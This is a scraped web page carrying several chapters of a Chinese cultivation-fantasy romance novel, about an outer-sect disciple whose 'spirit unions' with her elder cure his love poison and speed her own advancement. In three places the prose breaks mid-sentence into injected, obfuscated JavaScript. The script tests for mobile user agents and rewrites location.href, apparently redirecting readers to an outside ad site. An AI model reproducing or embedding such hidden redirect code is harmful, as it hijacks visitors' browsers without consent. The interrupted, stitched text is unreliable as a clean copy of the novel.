l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15155914|164589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 救下琼华,这真的是太好了。 天道还是庇护他们天玄宗的! 但是等他看清床榻上的情形,便笑不出来了,他满以为会安然无恙的小师弟蜷缩在雪白的绒毯之间,背对着他们,气息微弱,身体轻颤。 而床边放着的那根“玉簪”上的青色宝石反射着温润的光泽,提示着他事情确实有些糟糕。 他厚着脸皮找人炼制的“法宝”终究没有发挥它应有的作用,守护住师弟的元阳。 原本道途一片平坦的琼华师弟,先是中了迷情散,眼下连元阳之身也失去…… “罢了,罢了。”他有些无力地坐在床边的椅子上,企图安慰师弟和自己,“琼华,这事不能怪你,男欢女爱本就是人之常情。” 贺流虹见师兄弟二人快要聊上了,想要告退,回去消化她攒在丹田内的灵气,再不打坐调息,她感觉丹田就要炸了。 榻上的人依旧不肯转过身来,反倒将身体蜷缩得更紧,往床里侧靠过去。 搭在身上的毯子也悄悄上移,挡住了大半张脸。 掌门定睛一瞧,那染着薄红的脸颊,眼尾未干的泪痕,留有红印的手腕……无一不在揭露昨晚的云雨来得有多凶猛。 最糟糕的是,他稍一探查,就发现了师弟的神识遭到过分消耗,一看就是使用过度。 “只是……”他有点想不明白,“为何如此虚弱的人是琼华你?” 他看向唯一的嫌疑人,目光沉沉。 贺流虹轻叹一声,苦恼道:“唉,掌门您有所不知,师叔他忽然情毒发作,我费了半天劲,一共神交五次才将他安抚住。” 掌门吓得立刻站起身来:“五次!?” 贺流虹道:“本来准备一夜七次的,但是……” 她脸上的遗憾看起来不像是装的,而是真的觉得五次太少,她还没能满足于此。 但是她的神交对象太禁不起折腾,她对此感到有些不满。 景离忍不住提高音量:“你还打算来七次?贺流虹,你疯了吗?” 就算是化神期,每次神交造成的消耗也是巨大的。 稳妥起见,最贪图享乐的亡命之徒也会小心谨慎等待休养好了之后,才进行下一次。 一夜五次,谁会像这家伙这么乱来? 贺流虹:“我实在是太想替师门分忧了,掌门,你也不想小师叔几百年都无法提升修为,飞升无望吧?” 景离沉默半响,被说服了。 贺流虹的做法无可厚非,也是出于对师门的忠诚,想要帮宗门尽快度过这次的难关而已。 他端详着这个小弟子,想不明白她为何一点事都没有。 而被称为修真界第一天才的琼华师弟,状态却很不对劲。 不仅是神识上的过度消耗,还有那副略显僵硬窘迫的身体反应。 他追问道:“你是怎么帮你师叔解情毒的,他看起来为何如此……如此……” 他思索半天,不知该怎样形容师弟此刻的状态,才能为师弟保留几分颜面。 师弟看起来实在像是……像是被人糟蹋坏了。 16. 第 16 章 可是这个外门弟子一脸老实眼神单纯,无论修为、年纪、身份都远在琼华之下,又能怎么糟蹋得了琼华呢。 掌门不解地看着贺流虹,想要一个合理的解释。 贺流虹踌躇了一会儿,有点不好意思地低下头,“一定要说得那么具体吗,这不太好吧,我和小师叔其实……” “掌门师兄。” 景雍原本打算装死,不愿想起昨晚遭受的一切,也不愿面对如兄如父的师兄,但听着两人对话,唯恐那小弟子像往常一样心直口快,当真将昨夜的一切和盘托出。 他急忙撑着身子坐起来,口中说道:“师兄,别问了。” 动作间,身体传来的不适又让他险些跌倒回去,一时又面色绯红。 贺流虹反应迅速,过去将人扶住,低眉顺眼的老实样子。 景雍被她一碰,昨晚在身体和神魂上都刻下的记忆瞬间又被唤醒,下意识想要躲避,又碍于第三人在场,不想露怯,强装镇定:“掌门师兄,我没有大碍,休养些时日就好了。” 掌门忧心忡忡地看着他,想来想去,小师弟之所以有些不对劲,大概只能是迷情散这个东西太恶毒了。 风月宗老祖连同他的徒子徒孙,都太恶毒了,竟让他的师弟栽了这么大的跟头。 千万别让他逮到那个下迷情散的人。 转念一想,在外门小弟子与化神期师弟之间,被神交榨干精力的人是师弟,这应当是值得庆幸的事情。 毕竟,化神期根基深厚,即便是损耗也不会太严重,调养起来也更快,不会一蹶不振,一耽误就是几十上百年。 但到底是亲疏有别。 如果此刻虚弱不堪的人是贺流虹,掌门他只会觉得烦恼焦急。 换成亲眼看着长大的师弟,他难免多了几分心疼。 他看向景雍,关切道:“我这就请老谷主和长老来为你调养身体。” 景雍像是被踩了尾巴,慌忙拒绝:“不用!” 要是有医修仔细为他探查,就会发现,他的身上不对劲的地方多了去了。 他拒绝的口吻太惊慌太不自然,于是又连忙调整了一下语气,缓声说道:“师兄,我真的没事,不过是神识消耗过多,自己调养几日便好。” 掌门又接触了一下他的神识,的确只是消耗过度,妥协道:“那好吧。” 贺流虹也快要憋不住了,丹田内积聚的灵气完全控制不住了,于是松开了搀扶景雍的那只手,道:“掌门,师叔,那我也先回去了。” 掌门若有所思地瞧了她一会儿,刚才只留意景雍,这会儿才惊觉这小弟子身上灵力波动很不正常,隐约有快要破境的迹象。 他摆了下手:“去吧。” 贺流虹打开门,最容易趁虚而入的神交已经结束,法阵早已撤下,镇守的长老们也已离去,没有任何人来阻挡她。 她头也不回地狂奔而去。 她刚离开,掌门就拧紧眉头,脸上浮现狐疑之色:“神交五次,她竟安然无恙,反倒突破在即。” 他看着同样有些反常的景雍,追问道:“琼华,昨夜她可有异常之举?” 景雍回想她昨夜种种过分举动,实在难以启齿,垂下眼帘轻轻摇头:“并没有。” 掌门看着他天真纯情的模样,哭笑不得,神月峰的日子太单调,寻常的男欢女爱都能让这个小师弟内心久久无法平静。 “她看着也不像是会藏事的狡猾性子。”掌门嘀咕了一句,又忍不住反驳道,“不过人不可貌相,你说,有没有可能,迷情散就是她下的手?” 景雍严肃了几分,抬头看他,“师兄不是跟我说,她对天玄宗来说意义非凡,所以要对她多些包容,以礼相待,以免令她心生嫌隙?” “哎,你我私下里大胆猜测一番,不告知她便是。” 掌门左思右想,堂堂一宗之主,被一个小弟子拿捏,说出去让人笑话。 他做出不屑状:“她一个未及双十的小孩,咱们也没必要十分畏惧。” 景雍蹙了下眉,认真说道:“昨夜交缠之间,她的神识中并未展露出任何异常,我敢担保,除了天玄宗的功法,她绝对没有修习过其他。” 掌门自然相信他的判断力,但整件事实在让人匪夷所思。 这样的异常发生在一个五灵根外门弟子身上,只有两种最大的可能性,要么她是琼华中毒的幕后真凶,要么就是被埋没在外门数年的天纵之才。 两种结果天差地别,掌门要么会因为被背刺而气死,要么会为了天玄宗新发现的天才而得意死。 他不敢得意太早,谨慎开口:“那她为何好端端的,不仅没有受伤,还即将突破修为,反倒是你神识消耗严重。如果她没有违反门规暗中修习风月宗功法,又能是什么缘由呢?” 景雍对这样的猜测感到有些不悦,声音也冷漠了几分:“风月宗独门功法能在神交时掠夺对方修为,化为己用。但我只是正常的神识损耗,自身修为并未减少。” 他看见掌门脸上仍未消散的猜忌与狐疑,心头闪过一丝担忧,“师兄,没有证据的事还是别乱说了。她只是个孩子,在外门无依无靠,担上这样的罪名,以后的日子该怎么过。” 掌门堆起笑容,“我知道我知道,我就是在你这儿随便说说,除了你,我不会在其他人面前乱说的。” 景雍淡淡应了一声:“嗯。” “你刚刚失去元阳之身,当真没有什么不适?” 掌门一眼便瞧见他脖颈处明显的咬痕,“她看起来着实有些不知轻重。” 景雍心里又泛起委屈,面对自小替他打点一切、一直关心照顾的师兄,欲言又止,很想要告上一状,诉说一番昨夜在那可恶的外门小弟子身下承受的欺辱和玩弄。 可那样的事情怎么好向外人说出来。 他呼吸又不自觉变得急促,红着脸送客:“师兄,我累了,想一个人休息。” 掌门也记挂着重要的事,匆忙告辞离开。 另一边,贺流虹一路狂奔回住处。 自从被困神月峰琼华真人的洞府,她就一直和医仙谷的医修们住在一个院子里,方便随时接受医修们的诊治和调养。 与她最为相熟的那个圆脸医修来不及跟她打招呼,就见她一阵风似的冲进房间,留下一句:“我憋不住了!”喊完就入了定。 小圆脸一脸莫名其妙,坐在院子里继续整理草药。 四周灵气波动越来越明显,她和几个一起干活的同伴感叹:“这琼华真人住的地方就是灵气充足哈,比咱们谷里还要好。” “也不知道天玄宗要留咱们到什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15159703|164589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候,我还是想快点回谷里,我养的花三个月没浇水了。” “这得看咱们小贺,小贺支棱起来,争点气,把事办好了,咱们立刻就能跟师父回家。” “她不是说她一夜七次,七天解放咱们医仙谷全体医修,大家一起重获自由吗,怎么一回来就钻房间里去了。” “这还用说吗,肯定是没支棱起来呗,吹牛失败,无颜面对咱们。” “失败归失败,她竟然是自己走回来的,不是被掌门搬回来的,其实比我预料的结果要好多了。” “唉。她也不容易。” “咱们也不容易。” 几个人刚闲扯到一半,身后房间忽然传出一道兴奋的欢呼声:“哇!我又突破了!我练气四层了!” 医修们都是一愣,在座的能跟着谷主一起被请来神月峰,修为自然都不差,细细感应一番,屋内灵力确实有所浮动。 一行人奔进房间,准备道喜。 推开房门,却见蒲团上打坐的人再次入定了。 医修们一边好奇,一边守在外面替她护法。 当天半夜,屋子里又传出一声欢呼:“哇!我又突破啦!” 短短一天之内,接连突破两次,这并非前无古人。 类似天玄宗这样的顶级大宗门,门内最优秀的天才弟子从引气入体到成功筑基,可能只需要几天时间。 但是,房间里正在突破的人是贺流虹,一个花了两年半才磨磨蹭蹭到达练气二层的外门弟子。 医修们再次冲进去,迫不及待想要蹭蹭喜气。 进去一看,贺流虹又入定了。 接下来两天,房间里时不时传出惊喜的叫声。 “哇!又突破了!” “我的天哪,又又又突破啦!” “怎么回事,我又突破了!” 贺流虹没见过这种世面,从神交结束到现在,三天时间,她连续突破了五次。 三天前,她还是个战战兢兢的练气三层,眨眼睛就到了练气八层。 按照修真界战力分布情况来看,练气八层足以打败百分之六十的修士。 这谁能想到啊。 她一共就和小师叔神交五次,结果就突破了五次,这岂不是意味着她再来两次,就能直接筑基成功了? 早知道是这样,昨晚就应该丢掉良心,拉着小师叔把一夜七次进行到底。 一连突破五次让贺流虹精神抖擞,身体从未有过的轻盈,丹田内的灵气从未有过的充盈纯净,五感从未有过的敏锐。 她现在是如此地渴望再次见到修真界第一美人的脸。 她可以确定,哪怕是天底下最相爱的情人,被迫分开时想起彼此的感情,也绝对比不上她此刻对小师叔的思念和着迷。 只不过,现在不适合立刻去找小师叔。 毕竟她表现异常,如果不是很确信自己和风月宗没有任何渊源,她都要忍不住怀疑,修真界第一美人的迷情散是她自己搞的鬼。 想必这几天,掌门和长老们已经怀疑了她很多遍。 无论是她自己,还是掌门那边,都需要时间消化一下这件有些令人不解的事情。 另外,小师叔的身心也需要多休养休养,就算她着急离开神月峰或是渴望筑基成功,也不能操之过急。 17. 第 17 章 贺流虹打开房门,还没来得及迈出去,医修们一拥而上,像是看见活化石,一个比一个激动地握着她的手:“快,小贺,让我研究一下,你是怎么做到的。” “太厉害了,这还是我认识的那个小贺吗,让我多蹭几下沾沾喜气。” “这肯定是我为小贺精心准备养生餐的原因,天哪,难道我就是未来的医圣。” 修真界漫长的记载中,并不缺乏突然顿悟或是气运加身偶得机缘,一夜之间脱胎换骨的例子。 和记载中那些前辈们相比,贺流虹又显得好想没那么厉害了。 这也是医修们还能淡定地和她开玩笑的原因。 突破之后,她的感觉也敏锐很多。 透过这些将她包围的医修,贺流虹依稀察觉到一道目光正在注视着自己。 她毫不意外,八成是掌门那边派过来的人正在暗中观察她是否有异。 其实贺流虹猜对了一半,确实有人在观察她,但不是掌门派来的,而是掌门自己。 景离还是很信守承诺的,答应了师弟不将这事闹大,给这个外门小弟子带来麻烦,就当真没有再将自己的怀疑告诉别人。 修士突破境界之时,体内灵气波动最为频繁,最容易暴露自身修行的秘密。 贺流虹接连五次破境,他一个化神期,愣是任何不对劲的地方都没有察觉出来。 这的的确确是个根正苗红的天玄宗弟子,从修行第一日开始就修的天玄宗功法。 他心里的疑虑早已打消了一大半,转而涌上一股惊喜和得意。 医仙谷谷主和掌门是前后脚出现的,贺流虹有一点忐忑,下意识就想起神交开始之前在法阵外面闻见的妖气。 每次那缕气息出现,都只有她能感应得到,细思起来,确实还挺诡异的。 再加上这几日突飞猛进的修为,她都要怀疑自己是个即将觉醒什么上古神秘血脉的妖族了。 难道她拿的是卧底仙门的反派剧本? 那她要是暴露了,可没什么信心能从天下第一仙门逃出去。 谷主一脸慈爱地看着她,道:“把手伸过来。” 贺流虹:完了,这下身份瞒不住了。 她有些勉强地把手伸过去。 谷主又一次探查她的全身经脉,神情前所未有的专注。 掌门像第一次带她来找谷主时那样,目不转睛地等着。但是这次脸上多了一些期待。 谷主一松手,他就赶在贺流虹之前急忙问道:“怎么样,她是否受伤?” “我们低估这孩子了,琼华真人的识海并未伤到她半分。”谷主笑道,“恭喜掌门了。” 能尽快解开迷情散,掌门当然高兴,这是他之前最盼望的事,但他现在有了另一份期待,又问道:“那她接连突破,修为提升如此迅速,又是怎么回事?” 贺流虹眼观鼻鼻观心,拿余光偷瞄老太太的反应,就怕下一秒老太太掏出法器大喝一声“妖孽哪里逃”,然后当场把她收了。 谷主若有所思地沉默了一会儿,缓缓开口:“那可能性就多了。” 贺流虹和掌门一起竖起耳朵。 谷主:“第一种可能,她私下里偷偷修了什么歪门邪道,就比如像风月宗的独门心法那样的,能利用神交和双修迅速提升自己的修为。” 贺流虹还没说话,掌门就连忙否认道:“这不可能,这不可能,我和长老们岂能连这也看不出来,更何况琼华与她识海相连,她能瞒得过我们,也绝对瞒不过琼华。” 贺流虹的脑袋点得像小鸡啄米:“就是就是就是,我生是天玄宗的人,死是天玄宗的鬼。” 谷主白了天玄宗这两人一眼,“我话还没说完,这只是第一种可能性。当然了,也是最不可能的可能。” 贺流虹忍住想要抬头擦汗的冲动,等着她说下去。 老太太继续道:“第二种可能,她气运加身,得了某种机缘,或有高人点拨。就拿你们天玄宗来说,数万年前你们家那位师祖飞升之时,顺手点化了路过的一只兔子,那兔子直接跟随她一起飞升上界。” 贺流虹心想这个好,比什么隐藏身份卧底正道大宗门的反派剧本安全多了。 掌门皱起了眉:“这听上去……可能性更低啊。” 他记得清清楚楚,找到这个弟子的时候,对方正和一只野猴子打架,哪来什么高人。 不过要是真的得了机缘,这也是天玄宗之幸啊,谁不希望自家弟子里面再多几个天道宠儿。 他看向贺流虹,抱有一丝期待地问:“你当真得了机缘?” 贺流虹笑容酸涩:“我也想。但我没有。” 掌门:“算了,谷主,继续下一个吧。” 谷主的目光锐利地扫过她眉心,仿佛能看穿一切,继续说道:“既然前两种都不可能,那就只能是她与琼华真人的神魂意外无比契合,所以才会毫发无损,并且能神交当中获益良多。” 贺流虹微微睁大双眼,那双本来就很明亮的黑眼睛此时更加闪闪发光,道:“原来如此!我就说怎么我一进入小师叔识海,就像是回到了快乐老家。” 太好了,她就知道自己肯定不是妖怪,她明明是个好人。 掌门也喜不自禁,“好啊好啊好啊,这真是双喜临门,我就知道,天道对我天玄宗青睐有加!” 这下不仅能很快解开他天玄宗第一人的修为封印,早日飞升,还能顺便再多培养出一个优秀弟子,简直是一点都不浪费。 按照贺流虹的修为提升速度,再来几次必能筑基成功,折算成具体时间,加上中间的休养时间,也就最多几个月。 这速度放在天玄宗,至少也是个亲传弟子的水准了。就连他给琼华千挑万选出来的徒弟周无疾,也是花了两个月才成功筑基。 谷主及时打断心思各异但都喜笑颜开的二人,道:“但是,还是有不对劲的地方。” 贺流虹的心又提起来了,老太太说话大喘气,太考验她的心脏。 掌门的目光落在她身上,顺着谷主的话缓缓说道:“确实,老谷主说的对,神魂契合能从神交中获益,我也曾听说过,但即便契合度再高,也不会让你如此突飞猛进。” 贺流虹:完了,我果然…… “所以我要带你去重测根骨。”掌门笃定道,“你既然与琼华神魂契合,那自然也不会出现根骨难以承受的情况,反倒能因此得到淬炼,灵根说不定也能得到净化。” 谷主点头:“这也是我想说的。” 贺流虹瞧向二人,见他们都没有别的想法了,一颗心踏实多了。 什么妖气,肯定都是错觉。 她不信自己,还能不信医修界权威医仙谷谷主的判断嘛。 掌门心情颇好,拿出一颗固元丹,提醒道:“你突破得太快,服下这个,能更好地巩固境界。” 这些时日以来,天玄宗在她身上花费的钱财人力,已远远超过一个外门弟子应有的规格,但那都是因为她对于琼华的重要性。 这颗固元丹大概才是第一个真正为她本人提供的东西。 修真界实力为尊,大乘期和炼气期之间的差距比人和蝼蚁的差距都要大,所以行事也更为现实,贺流虹在这地方待了快三年,深有体会。 不管怎么说,像这种品质的固元丹,一颗也要好几百灵石,不要白不要。 她接过那颗固元丹吃下,果然感觉体内灵力运转得更顺畅,一本正经感谢了掌门的厚爱。 掌门瞧着她不卑不亢的镇静模样,越发觉得这孩子前途无量。 他笑道:“你是天玄宗弟子,作为掌门,自当尽心培养,以后你就在神月峰与你师叔一起安心修炼,缺什么只管找师伯师叔要。” 这种话贺流虹可不敢信,她很确信,这位自称师伯的掌门搞不好前不久还在怀疑她是幕后凶手。 她张嘴又感谢了一番,紧接着迫不及待地问:“重测根骨的话,是不是就可以离开神月峰了?” 掌门点了下头,瞬息之间便带着她离开洞府。 再次站在洞府外面,贺流虹看到那些“杂草野花”长得更茁壮了,心痒难耐,这得卖多少钱。 被关在神月峰这几个月,筑基是快了,灵石是一块没挣到。 储物袋里倒是囤了些天材地宝灵丹妙药,但是她想自己用,毕竟有些丹药灵宝只有天玄宗才有,在外面花钱也难买到,不到情非得已,她不想换成灵石。 掌门见她又盯着那些野草,想起来琼华的洞府很久不准周无疾和仙仆靠近,这些长在门口的野草也无人收拾,抬手就要替师弟清理。 贺流虹连忙说道:“掌门,时间紧急,我们还是快快去办正事。” 掌门心想也是,在洞府外多停留一刻,就多一分危险。 要不是他亲自陪伴,又实在期待对方会给他带来惊喜,他绝对不放心让这练气期小弟子自己一个人出来乱跑。 他唤来自己的坐骑,一只通身雪白的仙鹤,带着贺流虹乘上去。 仙鹤有些不高兴地抖了抖羽毛,想要将背上的陌生人扔下去。 景离沉声警告:“别闹。” 贺流虹新奇地摸了摸仙鹤的羽毛,想起来琼华真人也有一只大名鼎鼎的坐骑,据说那是一只从上古秘境中孵化出来的神凤。 云雾缭绕之间,她猛然瞧见一栋眼熟的建筑,正是发布悬赏和进行交易的金玉满堂。 仙鹤还在往前飞,她怕开过了,急忙喊道:“掌门,能在这停一下吗。” 虽然已经过去好几个月,但她还是抱有一丝希望,没准她的尾款还能有机会拿回来,就算不能全拿回来,一半也行啊。 那可是六百块,让她在神月峰夜夜辗转反侧的六百块! 景离纹丝不动地坐在那里,稳重开口:“没有急事的话,一切等重测完灵根再说。” 贺流虹心想也行吧,不差这一时半刻的。 得到应允,她安心很多。 现在她是彻底打消了跑路的念头,只想和小师叔把四十九次神交一次不差地完成,谁要是想让她少来一次,她就跟谁急。 唯一的遗憾就只有那始终没拿到的六百块钱尾款了,那可是她冒着性命危险从风月宗挣回来的。 从高空中俯瞰,天玄宗广袤无垠,无边无际,景色甚为壮美,其中坐落各色洞府,风格各异。 相比起来,外门占据着的三座山峰显得拥挤杂乱,人像蚂蚁一样缓慢挪动。 没过一会儿,仙鹤停在一处恢弘建筑前面,上面写着“丹药阁”。 贺流虹有些意外,她还以为测灵根的法器应该放在炼器堂。 比起炼器堂,丹药阁更加气派,从里到外透露着富贵迷人的气息。 景离一到,丹药阁的弟子就有所觉察,将人恭敬迎进去。 “掌门稍候片刻,师父炼完最后一炉,马上就到。” 那弟子说话间瞟了贺流虹一眼,对她的身份有所猜测。 这种时候亦步亦趋跟着掌门、而又名不见经传的女修,怕不就是那个手里拿捏着琼华小师叔往后道途的外门弟子。 景离转身对贺流虹解释说道:“丹药阁阁主是对高阶测灵石感应最为灵敏的人,由她来为你重新测一次根骨,想必不会再出差错。” 正说着,一个矮小玲珑的女人出现在视野里。 女人身上穿着一件很像围裙的灰色外套,脸上还沾着没擦干净的炉灰,一路呸呸呸地朝这边走过来,停在了贺流虹面前。 她围着贺流虹好奇地打量一圈,感叹道:“原来那个倒霉鬼就是你啊,唉,惨。” 贺流虹露出老实且茫然的表情。 景离重重咳嗽一声:“五师妹,你在跟孩子胡说八道些什么。” “掌门师兄,我说实话而已,人家大好年华,就为了救个不认识的小师叔,要被关在神月峰几百年,成天对着一个不知疾苦的傻子,神魂还要承受痛苦,这还不惨不倒霉?” 在女人口无遮挡滔滔不绝说话时,景离已经及时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15174316|164589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 设下屏障,将周围闲杂人等隔开,不至于让神月峰的“秘密”昭告天下。 贺流虹一脸感动,终于有人能够体谅她的艰辛苦楚了。 这个丹药阁阁主,是个仗义执言的好人啊! 景离瞥了两人一眼,要不是确信自己这继承丹药阁的五师妹醉心炼丹,不爱和人打交道,他都要以为这两人早就认识。 他含糊其辞地摆摆手,“行了行了,哪有你说的那么过分。” 阁主又打量贺流虹一会儿,疑惑道:“倒也确实不像神魂刚刚受过折磨的样子,莫非咱们那位小师弟还没做好心理准备,不好意思同一个陌生女修‘坦诚相待’?” 她被自己想象中的画面逗笑了,乐得直拍大腿。 景离嘴角抽搐,拎着自己这五师妹,喊上贺流虹,三个人进了属于阁主的屋子。 阁主到了自己的地盘,轻轻嗓子,摆出身为主人的姿态:“说吧,到底有什么事。” 景离指着贺流虹,“给她重新测一下根骨。” “咦,难道她也得了什么机缘?” 丹药阁阁主以前是双灵根,一次在秘境历练,偶得仙果,吃下去后,杂质更多更加暗淡的灵根便被清除,成了难得一见的单灵根,修行速度显著提升。 她一边说着,一边翻找出几年用不了一次的测灵石。 贺流虹入门时测过一次,所以很熟练地把掌心放在那块看起来其貌不扬的石头上面。 石头闪烁了一下。 又闪烁了一下。 又又又闪烁了一下。 …… 五次之后,三个人你看看我,我看看你,半天没人说话。 贺流虹挠挠头,眨巴眨巴眼,“那个,我怎么觉得和我入门时测试的场景差不多,没什么区别啊。” 闪了五下,五种颜色,金木水火土五灵根给她凑齐了。 景离揉揉眉心,喃喃自语:“怎么会呢,怎么可能不是单灵根呢?就算不是单灵根,至少也是双灵根吧?” 阁主凝神分辨了一下,详细说出了检测结果:“这绝对错不了,就是五灵根,灵根纯度为两成,根骨品质为丁上级。” 根骨一共分成甲乙丙丁四个级别,其中每一级再划分上中下三级。 灵根纯度就是灵根当中的杂质多少,杂质越多,代表对灵气的吸收越慢,修炼也就越艰难。 五灵根杂质是最多的,只比普通人好上一些,测灵石上那点微弱的光芒近乎没有。 贺流虹对于这个结果接受良好,毕竟她在凡间界那几年,连普通人都算不上,五灵根有什么值得失望呢,明明是筑基有望,未来可期。 掌门看起来受到的打击很大,他都做好了门中多出一个修炼好苗子的准备了,然而测量结果并没有错,只是个五灵根。 阁主眯着眼睛思考,抬手制作掌门的长吁短叹,严肃道:“等等,先让我看看你三年前的测量结果。” 每个弟子拜入师门后都保存了具体资料,最重要的资料自然就是他们的根骨天资情况。 景离虽然早将贺流虹的资料翻阅过好几遍,但五灵根的世界离他太远,他并不会仔细去留意。 五灵根的灵根纯度是一成还是两成又有什么区别,只有三灵根以上才有可能将灵根的纯净度提升到六成以上。 根骨的品质也是一样,五灵根的根骨注定品质不佳。 这就是天资所决定的上限。否则各大宗门那么看重天资做什么。 “罢了罢了,”他又一个人默默长吁短叹起来,“总归是我痴心妄想,一个外门小弟子,能安安稳稳地和琼华完成神交,就已经是天玄宗之幸了。” “师兄你看,”阁主踢了他一脚,将玉简上的资料放大,“这小孩的根骨品质刚入门时还是丁下级,灵根纯度也是一成都不到,基本可以说是垫底当中的垫底,说她是倒数第二,都没人敢说自己是倒数第一。” 贺流虹:…………你礼貌吗! 阁主继续说道:“但是只过了不到三年,就提升到两成以上。” 景离眼睛亮起,“根骨品质竟然也提升到了丁上级!” 阁主也有些难以置信,“根骨的品质和灵根的纯度可不像是法器丹药,说提升就能提升的,这是天生资质,强行改变就是逆天之举。” 景离激动地一拍大腿:“我明白了!这就是神魂契合的好处!” “难怪她一点事都没有,原来是与小师弟神魂契合,这倒是意外之喜了,” 景离又奢望起更美好的事,问道:“那她还能继续提升吗?如果五灵根能将纯度提升到四成以上,堪比单灵根啊!” 阁主意味深长地看了贺流虹一眼,道:“要知道修真界数万年,神魂契合之人极难遇见,发生什么都是有可能的。” 景离眼含热泪:“天佑我天玄宗!” 贺流虹紧随其后,慷慨激昂:“天佑天玄宗啊!掌门,那就让我尽快和小师叔进行下一次神交吧!” 掌门又冷静了下来,“这怕是不行,你师叔还需要休养,不可操之过急,一切应当以你师叔安危为重。” 说到底,就算能提升到单灵根的水平,到底还是比不上千年难遇的天才,最有望飞升的修真界第一人。 他态度分明,但也不会放弃顺便培养优秀弟子的机会,缓了缓语气,温和开口:“既然亲近琼华对你有益,你回神月峰后便搬去与你师叔同住,彼此熟悉之后,也能在神交时更顺利。” 贺流虹无所谓神交时能不能更顺利,她觉得上次就挺顺利的。 但是她的七天出狱计划显然失败得很彻底,按照小师叔的休养速度,也不知道三个月能不能行。 她欲言又止地看了看掌门和阁主,很想问问他们,为什么他们那位小师弟那么不禁折腾,她做的真的有那么过分吗,竟然需要休养这么久。 她决定一回神月峰,就去探望关心小师叔一番,鼓励他要坚强,这样怕苦怕痛怕累,怎么肩负起天玄宗的未来,怎么飞升。 18. 第 18 章 和丹药阁阁主约好,等下次离开神月峰再来复查,贺流虹又跟着掌门离开了。 穷苦的日子过久了,忽然说她是蒙尘的璞玉,未来可期,贺流虹还怪不习惯的。 真的假的啊,不会是在做梦吧。 她决定还是谨慎一点,再观望观望。 比起贺流虹的谨慎,景离就自信多了,他相信自己和师妹的判断,已经忍不住替身边这小弟子规划起未来。 “算算时间,等神月峰的事情了结,还能赶上外门遴选。以你的潜力,说不定能被各处峰主、长老们看中,收为亲传。” 贺流虹是知道外门遴选的,她见过的每一个外门弟子几乎都很期待这件事,想要离开忙忙碌碌资源匮乏的外门,这是为数不多的希望。 而下一次遴选是在五年后。 对于一个上千岁的化神期来说,五年弹指一挥间,对于贺流虹,五年十分漫长。 她在心里疯狂摇头拒绝,不不不,她不可能要等到五年后才能离开神月峰的。 正说着,一道有些眼熟的人影闯入视线,和她迎头撞上。 来人正是好几个月没见的神月峰“唯一亲传弟子”周无疾。 周无疾也远远看见了他们,本想绕开,但是已经来不及了。 他收敛情绪上前,恭敬行礼:“掌门师伯。” 离得近了,他便能很清楚地察觉到贺流虹身上的气息变化,距离上一次见面不过才数月,对方已是练气后期,竟是提升得如此迅速。 景离扫了他一眼,问道:“又是来找你五师叔讨要破境丹的?” 周无疾将头深深地埋下去,低低应了一声。 他已在筑基六层困了三年,失败数次。 刚开始拜入天玄宗时,一切都很顺利,他是人人艳羡的天才,不到两个月便成功筑基,家族为他提供的灵石和资源越来越多。 他甚至偷偷幻想过,觉得自己不仅仅是来继承琼华真人衣钵传承的,而是有望替代琼华真人,成为天玄宗真正的座上宾。 景离深深瞧他一眼,最终只说了一声:“去吧。” 周无疾是他和长老们一起为琼华真人千挑万选出来的徒弟,天分出众,又不缺家中支持,不必像那些没有根底的修士一般,为了一颗丹药耗费修行之外的精力去赚灵石。 这样的人,修行之路理应一片坦途,现在却在一个筑基五层就卡了三年。 说实话,他的心里有些失望。 迷情散已不是阻碍,琼华真人飞升在望,必定需要有人继承飞升后留下的宝贵传承。 这继承之人绝对不可以是个废物,否则就是暴殄天物。 贺流虹在那里算破境丹的价格,一颗固元丹就要几百灵石,还只是用来巩固境界的,破境丹的价格最低也要几千块。 修仙不仅要拼天赋,更要拼钞能力。 她记挂着自己的尾款,正要开口提醒,就见景离面前飞来一张符篆。 她认出那是一张传音符,但经过符文加密,外人听不见说了什么。 随着符篆燃烧为灰烬,景离面露惊骇,道:“你先回神月峰,我有要紧事,先走一步。” 贺流虹还没开口,一阵轻风拂过,就把她送回了神月峰。 出去不到半天,又进来了。 她站在流光溢彩的华美洞府内,耸了耸肩。 行吧,那就去探望一下小师叔,看看他休养得怎么样了。 洞府范围宽广,景色秀美。 贺流虹边走边看,一路溜达到一座熟悉的阁楼下。 窗户是开着的,美人像上次一样安静地坐在窗边,拿着一卷书,正在发呆。 树影摇曳,落英缤纷,偶尔有几片花瓣落在美人手中的书页上。 贺流虹在洞府逛了一大圈,心中默默比较一番,称此情此前为洞府内第一美景。 景雍看到她出现在窗外,下意识地站起身来,手上的书掉到桌面上,连忙去捡,又不小心碰倒了杯盏,手忙脚乱得很。 从贺流虹的角度,只能看到他垂眸在窗户后面很认真地忙活着什么。 她怕对方像上次一样一见面就关窗,连忙提高了声音喊道:“小师叔,我能进去看你吗?” 景雍听见她的声音,身体微微僵硬,脸又发起烫来。 度过了那样的一晚,发生了那样的事情,只过去几天而已,她是怎么做到如此坦荡直率地找上门来。 他想背过身去,将对方拒之门外。 就算要见面,也该等到他从那晚的经历中缓过神来。 